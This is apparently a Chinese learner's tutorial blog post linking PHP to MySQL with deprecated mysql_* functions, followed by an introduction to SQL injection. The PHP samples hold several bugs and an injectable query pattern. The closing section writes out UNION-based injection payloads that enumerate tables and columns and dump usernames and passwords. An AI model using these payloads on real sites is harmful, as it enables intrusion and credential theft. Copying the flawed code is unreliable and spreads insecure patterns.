MySQL数据库下篇
#作者:允砸儿
#日期:乙巳青蛇年 四月十四
今天笔者将会把MySQL数据库的知识完结,再者笔者会浅写一下sql注入的内容。在后面笔者会逐渐的将网安世界徐徐展开。
php与mysql联动
编程接口
笔者在前面的文章写了php的内容,现在我们就将php和MySQL联结起来,做一个动态的php的页面,如果只在php上面显示那么内容将是一个死值,互相结合能保证后端数据库在内容上的更新。
在PHP中,与SQL数据库进行交互通常涉及使用数据库扩展库,如PDO(PHPData0biects)或MySQLi这些库提供了与数据库建立连接、执行查询和处理结果的方法。
mysql相关函数
再互相结合之前我们需要了解一些函数。ps:在这里笔者用的php版本是5.538,高版本已经不能使用该函数了。如果达到7.xx,我们需要降低一下版本。
1、mysql_connet():连接数据库
2、mysql_select_db():选择数据库
3、mysql_query():执行sql语句
4、mysql_asssoc():获取单条数据,返回关联数组
5、mysql_num_rows():获取查询的条数
6、mysql_colse():关闭数据库
php动态窗口
-- 笔者先在这里讲一下关于php与数据库连接时候出现一直报错的问题。
1、首先版本可能太高了无法向下兼容。
2、我们在更换版本过后需要重新启动php。
3、phpstudy的版本要和phpstorm版本一致
4、连接数据库成功后出现网页乱码。这时候我们要检查数据库是否设置utf8
检查html里面是否声明utf8
检查php是否mysql_set_charset('utf8')
检查是否在php表头声明header('Content-Type: text/html; charset=utf-8');
-----------------------------------------------------------------------------------------------
接下来让我们开始创建表和html
1、在数据库里面先建两个信息表
一个是id name address sex parents age u-id
另一个是u-id class
2、数据库操作一般步骤
2.1
在<?php?>里面与数据库建立连接
(1、与mysql建立连接代码为
mysql_connect('127.0.0.1','root','root')#记住是IP+账号与密码
(2、设置编码
mysql_set_charset('utf8');
(3、执行查询的操作
$sql='select * from banji,xuesheng where banji.u-id=xuesheng.u-id'
(4、点击sql语句,执行sql语句
$result=mysql_query($sql);
(5、做一个条件判断用关联数组的方式获取数据表当中的值
$list=arry();
while($row=mysql_fetch_assoc($sql)){
$list[]=$row;
}
//mysql_fetch_assoc($result)//以关联数据的形式去获取,
//怎么能去获取所有资源,建一个数组,函数会在数组里面一一去执行
//把每一条数组都赋值给列表,一个数组放在另一个数组里面就是二维数组
(6、关闭连接
$stop=mysql_close($coon)
(7、如果我们在显示的时候出现乱码,我们需要在php里面声明一下编码是utf-8
2.2
在<?php?>里面建立一个HTML表格
(1、使用英文符号的!进行快速建立
(2、调用table标签,修饰表格让它变得美观
(3、在html嵌套php语句
<?php foreach ($list as $v){?>
<td><?php echo $v ['id'] ?></td> <td><?php echo $v ['name'] ?></td> <td><?php echo $v ['address'] ?></td> <td><?php echo $v ['sex']?></td> <td><?php echo $v ['parents'] ?></td> <td><?php echo $v ['age'] ?></td> <td><?php echo $v ['class'] ?></td>
<?php }?>
这样php与数据库就可以进行连接,数据库变动则显示页面变动。
浅谈一下sql注入
我们需要知道sql注入是一种攻击手段,通过逻辑漏洞和利用sql本身的弱点漏洞去进行sql注入。
要在网站上查找 sql 注入,您需要了解您需要查找未过滤的输入参数。
我们用单引号 ' 去做注入
在网站上查找变量,例如 news.php?id=1
在请求中添加引号,使其显示 news.php?id=1'
如果网站上启用了错误消息,那么我们将看到一个错误:
mysql_query(): 您的 SQL 语法有错误 请检查与您的 MySQL 服务器版本相对应的手册
我们将尝试发送一个请求 news.php?id=-1' -- (末尾有一个空格),用单引号我们把整个的php语句就闭合成功。
比如:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
在这条代码里面我们可以清楚的看见id='$id'可以用单引号+-- (注释)把原来要输出的内容进行破坏使前面查询的结果为空,在后面补上我们想要得到的东西,例如查询数据表的字段名、表名....
再比如:?/id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- a
使用union查询group_concat去连接把那一列数据都连接起来去information_schema.tables这张表去看ttable_name字段在后面加一个条件table_schema=database()这一个数据库。
我们得到了一些表的名字后找到最重要的那一张进行爆破。比如:users表,我们就能得到该数据的用户名和密码。
比如:
?/id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' -- a
?/id=-1' UNION SELECT 1,username,password FROM users -- a
总结:笔者在这里只是浅浅的写一下什么是sql注入,在后面的内容中我会着重的写一下sql注入实战以及如何挖掘漏洞。现在笔者将mysql上中下三篇内容已全部完结,就像一个项目准备阶段一样网安之路才刚刚开始。
最后笔者看到过一句话感触颇深:"在你即将加入的竞技场上,每个对手都可能是十年磨剑的行业先驱。但代码世界的奇妙之处在于:当算法流淌在你的血液里,当创新成为你的本能反应,技术热情会自然引领你找到破局之道。"与君共勉。